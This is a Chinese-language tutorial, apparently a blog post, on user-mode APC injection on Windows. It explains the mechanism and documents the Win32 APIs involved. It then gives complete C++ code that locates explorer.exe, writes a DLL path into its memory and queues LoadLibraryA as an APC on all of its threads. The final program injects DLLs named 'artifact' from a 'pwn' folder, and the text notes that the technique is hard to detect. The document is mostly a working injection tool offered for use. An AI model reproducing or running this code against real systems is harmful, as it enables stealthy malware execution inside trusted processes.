APC介绍
- APC(Asynchronous Procedure Calls,异步过程调用),APC是函数在特定的线程被异步执行。在Windows中APC是一种并发机制,用于异步的IO或定时器。当处于用户模式的
APC
压入线程APC
队列后,该线程并不直接调用APC
函数,除非该线程处于可通知状态,调用的顺序为先入先出。 - 只有当一个线程内部调用
SleepEx
、SignalObjectAdndWait
、WaitForSingleObjectEx
、WaitForMultioleObjectsEx
等特定函数将自己处于挂起状态时,才会执行APC队列函数,在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态。 - 每一个线程都有自己的APC队列(APC queue),可以使用API
QueueUserAPC
从而将一个APC插入到线程的APC队列中。线程会调用QueueUserAPC
中指定的函数。只有将一个APC放入了线程的APC队列中,线程才有机会调用对应的APC函数。 - APC(Asynchronous Procedure Calls,异步过程调用),表示在指定线程上下文中异步调用一个函数(APC其实是通过向线程中插入回调函数来实现的,当线程调用上述API时,会触发APC的回调函数,执行回调函数的代码)。
- 由内核产生的APC称为内核态(kernel-mode)APC,而由用户应用调用的APC称为用户态(user-mode)APC。
APC机制
注入思路
- 当指定程序执行到某一个上面的等待函数的时候,系统会产生一个中断
- 当线程唤醒的时候, 这个线程会优先去APC队列中调用回调函数
- 利用QueueUserApc,往这个队列中插入一个回调
- 插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去要加载的Dll的地址
首先通过OpenProcess()
打开目标进程,获取进程句柄;然后通过函数CreateToolhelp32Snapshot()
、Thread32First()
以及Thread32Next()
遍历进程快照,获取目标进程的所有线程ID;紧接着调用VirtualAllocEx()
在目标进程申请内存,通过WriteProcessMemory()
向内存写入DLL的注入路径;最后,遍历线程ID,获取线程句柄。调用QueueUserAPC()
向线程中插入APC函数,设置APC函数地址为LoadLibraryA()
的地址。这样只要目标进程中任意线程被唤醒,便会执行APC,完成DLL注入。
下面来看看用户态下的注入方式的代码实现,即Ring3层
编码实现
CreateToolhelp32Snapshot
获取指定进程的快照,以及这些进程使用的堆、模块和线程。
原型:
HANDLE CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
参数
dwFlags:
要包含在快照中的系统部分。此参数可以是以下值中的一个或多个。
th32ProcessID:
要包含在快照中的进程的进程标识符。此参数可以为零以指示当前进程。当指定TH32CS_SNAPHEAPLIST、TH32CS_SNAPMODULE、TH32CS_SNAPMODULE32或TH32CS_SNAPALL值时使用此参数。否则,它将被忽略并且所有进程都包含在快照中。
返回值
如果该函数成功,则返回指定快照的打开句柄。
Process32First
检索有关系统快照中遇到的第一个进程的信息。
原型:
BOOL Process32First(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
参数
hSnapshot:
从上一次调用CreateToolhelp32Snapshot函数返回的快照句柄 。
lppe:
指向PROCESSENTRY32结构的指针 。它包含进程信息,例如可执行文件的名称、进程标识符和父进程的进程标识符。
返回值
如果进程列表的第一个条目已复制到缓冲区,则返回TRUE,否则返回FALSE。所述ERROR_NO_MORE_FILES误差值由返回 GetLastError函数功能如果不存在进程或快照不包含处理信息。
Process32Next
检索有关记录在系统快照中的下一个进程的信息。
原型:
BOOL Process32Next(
HANDLE hSnapshot,
LPPROCESSENTRY32 lppe
);
参数
hSnapshot:
从上一次调用CreateToolhelp32Snapshot函数返回的快照句柄 。
lppe:
指向PROCESSENTRY32结构的指针 。
返回值
如果进程列表的下一个条目已复制到缓冲区,则返回TRUE,否则返回FALSE。所述ERROR_NO_MORE_FILES误差值由返回 GetLastError函数功能如果不存在进程或快照不包含处理信息。
QueueUserAPC
将用户模式异步过程调用 (APC) 对象添加到指定线程的 APC 队列。
原型:
DWORD QueueUserAPC(
PAPCFUNC pfnAPC,
HANDLE hThread,
ULONG_PTR dwData
);
参数
pfnAPC:
指向应用程序提供的 APC 函数的指针,当指定的线程执行可警报的等待操作时将调用该函数。有关更多信息,请参阅 APCProc。
hThread:
线程的句柄。句柄必须具有THREAD_SET_CONTEXT访问权限。
dwData:
传递给pfnAPC参数指向的 APC 函数的单个值。
返回值
如果函数成功,则返回值非零。
如果函数失败,则返回值为零。
PROCESSENTRY32 结构
描述拍摄快照时驻留在系统地址空间中的进程列表中的条目。
原型:
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID;
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID;
LONG pcPriClassBase;
DWORD dwFlags;
CHAR szExeFile[MAX_PATH];
} PROCESSENTRY32;
dwSize
结构的大小,以字节为单位。在调用Process32First函数之前 ,将此成员设置为sizeof(PROCESSENTRY32)。如果不初始化dwSize, Process32First 将失败。
cntUsage
此成员不再使用并且始终设置为零。
th32ProcessID
进程标识符。
th32DefaultHeapID
此成员不再使用并且始终设置为零。
th32ModuleID
此成员不再使用并且始终设置为零。
cntThreads
进程启动的执行线程数。
th32ParentProcessID
创建此进程的进程的标识符(其父进程)。
pcPriClassBase
此进程创建的任何线程的基本优先级。
dwFlags
此成员不再使用并且始终设置为零。
szExeFile
进程的可执行文件的名称。要检索可执行文件的完整路径,请调用Module32First函数并检查返回的MODULEENTRY32结构的szExePath成员。但是,如果调用进程是 32 位进程,则必须调用QueryFullProcessImageName函数来检索 64 位进程的可执行文件的完整路径。
根据进程名获取PID
int main() {
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot ;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
char* pszProcessName = "explorer.exe";
//获取进程快照
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
bRet = ::Process32First(hSnapshot, &pe32);
if (NULL == hSnapshot)
{
std::cout << "CreateToolhelp32Snapshot_Error" << std::endl;
return dwProcessId;
}
while (bRet)
{
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))//lstrcmpi对比相等则为0
{
//匹配到对于进程,赋值给dwProcessId
dwProcessId = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hSnapshot, &pe32);
}
std::cout<<dwProcessId << std::endl;
}
根据PID获取所有的相应线程ID
int main() {
DWORD dwProcessId = 0;
char* pszProcessName = "explorer.exe";
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
dwProcessId = GetProcessIdByProcessName(pszProcessName);
do {
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
std::cout << "new Error" << std::endl;
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
//创建线程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
if (te32.th32OwnerProcessID == dwProcessId) {// 获取进程对应的线程ID
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
} while (FALSE);
std::cout << pThreadId << std::endl;
}
//结果18180
APC注入
int main() {
DWORD dwProcessId = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
LPVOID pBaseAddress;
HANDLE hThread = NULL;
HANDLE hProcess;
FARPROC pLoadLibraryAFunc;
char* pszProcessName = "explorer.exe";
LPCSTR pszDllName = "dll1.dll";
SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
dwProcessId = GetProcessIdByProcessName(pszProcessName);
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
for (int i = 0; i < dwThreadIdLength; i++)
{
// 打开线程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
}
最终代码
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName);
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* dwThreadIdLength);
// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName);
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText);
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}
// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
// 获取进程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
return dwProcessId;
}
// 获取第一条进程快照信息
bRet = ::Process32First(hSnapshot, &pe32);
while (bRet)
{
// 获取快照信息
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
{
dwProcessId = pe32.th32ProcessID;
break;
}
// 遍历下一个进程快照信息
bRet = ::Process32Next(hSnapshot, &pe32);
}
return dwProcessId;
}
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
do
{
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
ShowError("new");
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
break;
}
// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;
} while (FALSE);
if (FALSE == bRet)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}
// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName)
{
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL, hThread = NULL;
PVOID pBaseAddress = NULL;
PVOID pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
DWORD i = 0;
do
{
// 根据进程名称获取PID
dwProcessId = GetProcessIdByProcessName(pszProcessName);
if (0 >= dwProcessId)
{
bRet = FALSE;
break;
}
// 根据PID获取所有的相应线程ID
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (FALSE == bRet)
{
bRet = FALSE;
break;
}
// 打开注入进程
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}
// 在注入进程空间申请内存
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == pBaseAddress)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}
// 向申请的空间中写入DLL路径数据
::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen)
{
ShowError("WriteProcessMemory");
bRet = FALSE;
break;
}
// 获取 LoadLibrary 地址
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
ShowError("GetProcessAddress");
bRet = FALSE;
break;
}
// 遍历线程, 插入APC
for (i = 0; i < dwThreadIdLength; i++)
{
// 打开线程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
bRet = TRUE;
} while (FALSE);
// 释放内存
if (hProcess)
{
::CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
return bRet;
}
int main() {
BOOL bRet = FALSE;
// APC注入
#ifdef _WIN64
bRet = ApcInjectDll("explorer.exe", "C:\\Users\\xr\\Desktop\\pwn\\artifact64.dll");
#else
bRet = ApcInjectDll("explorer.exe", "C:\\Users\\xr\\Desktop\\pwn\\artifact.dll");
#endif
if (bRet)
{
printf("APC Inject OK.\n");
}
else
{
printf("APC Inject ERROR.\n");
}
system("pause");
return 0;
}